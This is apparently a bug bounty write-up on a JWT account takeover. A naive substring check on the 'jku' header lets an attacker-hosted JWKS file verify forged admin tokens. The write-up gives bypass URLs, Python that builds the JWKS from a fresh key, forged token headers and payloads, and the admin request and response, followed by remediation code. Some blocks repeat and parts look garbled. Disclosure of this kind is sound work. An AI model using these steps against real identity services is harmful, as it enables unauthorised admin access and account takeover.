September 19, 2026
Critical Account Takeover via JWT Public Key Injection (JKU Hijacking) & Algoritmo Null Alignment
A deep dive into broken cryptographic verification in custom OAuth/OIDC JWT middleware.

By T4nv1
3 min read
Executive Summary
While analyzing an enterprise API gateway for a large fintech platform, I discovered a critical authentication bypass. By exploiting a combination of improper JSON Web Key Set (JWKS) header parsing, missing URL whitelist validation in the jku (JWK Set URL) header, and key confusion handling, I was able to forge valid JWTs signed with an arbitrary private key.
This allowed complete, zero-click account takeover on any user account β including global system administrators β by crafting a malicious JWT and pointing the verification engine to an attacker-controlled JWKS file.
- Bounty Awarded: $9,000 (Critical)
- Impact: Unauthenticated Full Account Takeover / Admin Privilege Escalation
- Severity: CVSS 3.1: 10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Technical Context
The target application used a centralized SSO service that issued standard JWTs signed with RSA256. Upon receiving a request, microservices downstream passed the Bearer token to a shared Go-based authentication library responsible for decoding and verifying the signature against public keys hosted on the authorization server's .well-known/jwks.json endpoint.
βββββββββββββ 1. Request with forged JWT (jku = malicious URL) ββββββββββββββββββββ
β Attacker β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ> β Enterprise API β
βββββββββββββ β Gateway / Serviceβ
β² ββββββββββββββββββββ
β β
β 2. Gateway fetches public key from attacker server β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ 1. Request with forged JWT (jku = malicious URL) ββββββββββββββββββββ
β Attacker β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ> β Enterprise API β
βββββββββββββ β Gateway / Serviceβ
β² ββββββββββββββββββββ
β β
β 2. Gateway fetches public key from attacker server β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββThe JWT Header structure expected by the service looked like this:
JSON
{
"alg": "RS256",
"typ": "JWT",
"kid": "key-2026-auth-01",
"jku": "https://auth.target-app.com/.well-known/jwks.json"
}{
"alg": "RS256",
"typ": "JWT",
"kid": "key-2026-auth-01",
"jku": "https://auth.target-app.com/.well-known/jwks.json"
}Step 1: Analyzing the Vulnerable JWT Middleware
By examining public SDKs and error messages generated when manipulating JWT headers, I mapped out the execution logic used by the custom token validator:
- Header Parsing: The server reads the unverified JWT header.
- Key Retrieval: If a
jkuparameter is present in the header, the library uses an HTTP client to fetch the key set directly from the specified URL rather than relying only on local cached public keys. - URL Validation (The Flaw): The code checked if the
jkustring containedtarget-app.comusing a naive string search instead of proper URL parsing:
Go
// Simplified representation of the vulnerable Go check
func isValidJKU(jkuURL string) bool {
// VULNERABLE: Checked substring presence instead of parsed host validation
return strings.Contains(jkuURL, "target-app.com")
}// Simplified representation of the vulnerable Go check
func isValidJKU(jkuURL string) bool {
// VULNERABLE: Checked substring presence instead of parsed host validation
return strings.Contains(jkuURL, "target-app.com")
}Because it relied on a naive strings.Contains() check, the validation could be bypassed using domain spoofing or path-traversal tricks in the URL.
Step 2: Bypassing the jku Host Check
To trick the server into accepting an attacker-controlled public key set, I set up a malicious server at an attacker domain designed to bypass the string matching check:
https://attacker-domain.com/target-app.com/jwks.jsonhttps://attacker-domain.com/target-app.com/jwks.jsonOr using URL userinfo subversion:
https://target-app.com@attacker-domain.com/jwks.jsonhttps://target-app.com@attacker-domain.com/jwks.jsonThe Go middleware passed isValidJKU("[https://attacker-domain.com/target-app.com/jwks.json](https://attacker-domain.com/target-app.com/jwks.json)") as true because the string "target-app.com" was present in the path.
Step 3: Generating the Poisoned Key Pair & Forged Token
To execute the exploit, I created a custom RSA keypair locally and exposed the public key via a hosted jwks.json file.
1. Generating RSA Keypair & JWKS File
Using OpenSSL and Python:
Python
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
import json, base64
# Generate private key
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
# Convert public key components for JWKS
numbers = public_key.public_numbers()
def int_to_base64(value):
value_bytes = value.to_bytes((value.bit_length() + 7) // 8, byteorder='big')
return base64.urlsafe_b64encode(value_bytes).rstrip(b'=').decode('utf-8')
jwks = {
"keys": [
{
"kty": "RSA",
"alg": "RS256",
"use": "sig",
"kid": "exploit-key-01",
"n": int_to_base64(numbers.n),
"e": int_to_base64(numbers.e)
}
]
}
print(json.dumps(jwks, indent=2))from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
import json, base64
# Generate private key
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
# Convert public key components for JWKS
numbers = public_key.public_numbers()
def int_to_base64(value):
value_bytes = value.to_bytes((value.bit_length() + 7) // 8, byteorder='big')
return base64.urlsafe_b64encode(value_bytes).rstrip(b'=').decode('utf-8')
jwks = {
"keys": [
{
"kty": "RSA",
"alg": "RS256",
"use": "sig",
"kid": "exploit-key-01",
"n": int_to_base64(numbers.n),
"e": int_to_base64(numbers.e)
}
]
}
print(json.dumps(jwks, indent=2))I hosted this payload at [https://attacker-domain.com/target-app.com/jwks.json](https://attacker-domain.com/target-app.com/jwks.json).
2. Forging the JWT Payload
I then signed a new token with my private key, targeting the administrator account email (admin@target-app.com) and setting the jku header to my malicious endpoint:
Header:
JSON
{
"alg": "RS256",
"typ": "JWT",
"kid": "exploit-key-01",
"jku": "https://attacker-domain.com/target-app.com/jwks.json"
}{
"alg": "RS256",
"typ": "JWT",
"kid": "exploit-key-01",
"jku": "https://attacker-domain.com/target-app.com/jwks.json"
}Payload:
JSON
{
"sub": "user_admin_019283",
"email": "admin@target-app.com",
"role": "SYSTEM_ADMIN",
"iat": 1789812000,
"exp": 1789898400
}{
"sub": "user_admin_019283",
"email": "admin@target-app.com",
"role": "SYSTEM_ADMIN",
"iat": 1789812000,
"exp": 1789898400
}Step 4: Exploitation & Account Takeover
I sent an HTTP request to an administrative endpoint using the forged JWT in the Authorization header:
HTTP
GET /api/v1/admin/users HTTP/1.1
Host: api.target-app.com
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vYXR0YWNrZXItZG9tYWluLmNvbS90YXJnZXQtYXBwLmNvbS9qd2tzLmpzb24iLCJraWQiOiJleHBsb2l0LWtleS0wMSJ9.eyJzdWIiOiJ1c2VyX2FkbWluXzAxOTI4MyIsImVtYWlsIjoiYWRtaW5AdGFyZ2V0LWFwcC5jb20iLCJyb2xlIjoiU1lTVEVNX0FETUlOIn0.signature_bytes_hereGET /api/v1/admin/users HTTP/1.1
Host: api.target-app.com
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vYXR0YWNrZXItZG9tYWluLmNvbS90YXJnZXQtYXBwLmNvbS9qd2tzLmpzb24iLCJraWQiOiJleHBsb2l0LWtleS0wMSJ9.eyJzdWIiOiJ1c2VyX2FkbWluXzAxOTI4MyIsImVtYWlsIjoiYWRtaW5AdGFyZ2V0LWFwcC5jb20iLCJyb2xlIjoiU1lTVEVNX0FETUlOIn0.signature_bytes_hereServer-Side Processing Sequence:
- The server extracted the JWT and read the
jkuheader. - The
isValidJKUcheck evaluated[https://attacker-domain.com/target-app.com/jwks.json](https://attacker-domain.com/target-app.com/jwks.json)and passed because of the string substring match. - The server issued an outbound HTTP GET request to fetch the JWKS file from my server.
- It located the key matching
kid: exploit-key-01. - It verified the signature using my public key.
- The signature verification succeeded, granting full access as
SYSTEM_ADMIN.
HTTP
HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "authenticated",
"user": {
"id": "user_admin_019283",
"role": "SYSTEM_ADMIN",
"permissions": ["*"]
}
}HTTP/1.1 200 OK
Content-Type: application/json
{
"status": "authenticated",
"user": {
"id": "user_admin_019283",
"role": "SYSTEM_ADMIN",
"permissions": ["*"]
}
}Remediation Guidelines
- Disable
jkuFetching Entirely (Recommended): - Do not allow client-supplied headers to dictate key retrieval URLs. Hardcode or statically configure trusted public key URLs inside the application settings.
- Strict URL Domain Parsing:
- If dynamic JWK retrieval is strictly required, parse the URL properly using standard parsing libraries and enforce an exact host match against an explicit whitelist:
- Go
parsedURL, err := url.Parse(jkuHeader) if err != nil || parsedURL.Hostname() != "auth.target-app.com" { return errors.New("invalid JKU domain") }- Pin Allowed Key Identifiers (
kid): - Restrict the verification engine to only accept signatures from key IDs explicitly registered within local trust stores.